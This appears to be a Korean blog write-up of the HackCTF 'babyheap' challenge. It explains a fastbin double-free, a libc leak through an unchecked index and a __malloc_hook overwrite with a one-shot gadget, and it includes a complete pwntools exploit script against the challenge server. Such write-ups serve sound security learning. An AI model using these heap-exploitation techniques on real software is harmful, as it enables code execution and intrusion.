본문 바로가기
Wargame Write-Up/HackCTF

(HackCTF) babyheap writeup

by snwo 2022. 2. 8.

malloc, free, show 3 가지 메뉴가 있는 전형적인 heap chall 이다.

chunk 는 순서대로 6개 할당할 수 있다.

unsigned __int64 Show()
{
  int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("index: ");
  _isoc99_scanf("%d", &v1);
  puts((&ptr)[v1]);
  return __readfsqword(0x28u) ^ v2;

show() 에서 인덱스를 검사하지 않는다.

사실 어셈으로 보면 있는데, 로직을 이상하게 짜놔서 검사를 안하는 것이나 다름없다.

할당 기회가 6번밖에 없으니, 이건 fastbin dup 할 때 사용해야한다.

add(0x20)
add(0x20,p64(b.got['puts'])*2)
delete(0)
delete(1)
delete(0)

이런식으로 double-free 를 우회하면, index 0 에 두 번째 chunk 의 주소가 있을 것이다.

두 번째 chunk → bk 부분에 puts@got 주소를 넣어 이 주소까지 index 를 계산해 leak 할 수 있다.

fastbin 에서는 bk 를 사용하지 않기 떄문에 다른걸로 덮이지 않는다.

show(0)
heap=u64(r.recvline().strip().ljust(8,b'\x00'))
log.info(hex(heap))
show((heap+24-0x602060)//8)
libc=u64(r.recv(6)+b'\x00'*2)-lib.sym['puts']

show(0) 을 통해 두 번째 chunk 의 주소를 구한 뒤, bk 주소를 더해서 ptr 배열과의 index 차이를 계산한다. 8바이트 배열이므로 8을 나눠줬다.

 

__int64 __fastcall malloc(__int64 a1)
{
  int v2; // eax
  __int64 v3; // rsi
  __int64 v4; // rdx
  __int64 v5; // rax
  int *v6; // rcx
  bool v9; // zf
  void *retaddr; // [rsp+18h] [rbp+0h]

  if ( _malloc_hook )
    return _malloc_hook(a1, retaddr);

디버깅 용도로 만들어진 _malloc_hook 에 원샷 가젯을 덮어쓸거다.

 __malloc_hook 에 할당받기위해서, size 부분을 설정해야한다.

__malloc_hook 에서 적당히 빼서 (-35) size 부분에 0x7f 가 오게할 수 있다.

이후 0x60 할당 요청하면

해당 부분에 할당이 되었다.

__malloc_hook 의 주소는 0x7f33c328cb10 으로, dummy 값 19개 입력하고 원샷 가젯으로 덮으면 된다.

사이즈가 0x7f 이므로, 모든 할당 사이즈를 0x58 보다 크게 줘야한다. 나는 0x60 사용했다.

이제 할당을 못하지만, double-free 에러 메시지를 출력할 때, 내부에서 strdup 을 사용하는데, 이 때 malloc 이 호출된다고 한다.

 

https://lclang.tistory.com/165

 

malloc_hook => free get shell

개쩔었다ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ secret of my heart 풀면서 운으로 발견했는데 ㄹㅇ루다가 어리둥절 하면서 중간에 호출된 memset 과 free 를 분석해봤다. memset 은 딱히 뭔가 없었다.

lclang.tistory.com

ex.py

from pwn import *
import sys

context.binary = binary = "./babyheap"
context.log_level='debug'

b=ELF(binary,checksec=False)
if '1' in sys.argv:
    r = remote("ctf.j0n9hyun.xyz", 3030)
    lib = ELF("./libc.so.6", checksec=False)
else:
    r = b.process()
    lib = b.libc

def add(size,content="hello"):
    r.sendlineafter("> ",b"1")
    r.sendlineafter("size: ",str(size).encode())
    r.sendafter("content: ",content)
def show(index):
    r.sendlineafter("> ",b"3")
    r.sendlineafter("index: ",str(index).encode())
def delete(index):
    r.sendlineafter("> ",b"2")
    r.sendlineafter("index: ",str(index).encode())
add(0x60)
add(0x60,p64(b.got['puts'])*2)
delete(0)
delete(1)
delete(0)
show(0)
heap=u64(r.recvline().strip().ljust(8,b'\x00'))
log.info(hex(heap))
show((heap+24-0x602060)//8)
libc=u64(r.recv(6)+b'\x00'*2)-lib.sym['puts']
log.info(hex(libc))
add(0x60,p64(lib.sym['__malloc_hook']+libc-35))
add(0x60)
add(0x60)
add(0x60,b'x'*19+p64(libc+0xf02a4))

delete(0)
delete(0)
r.interactive()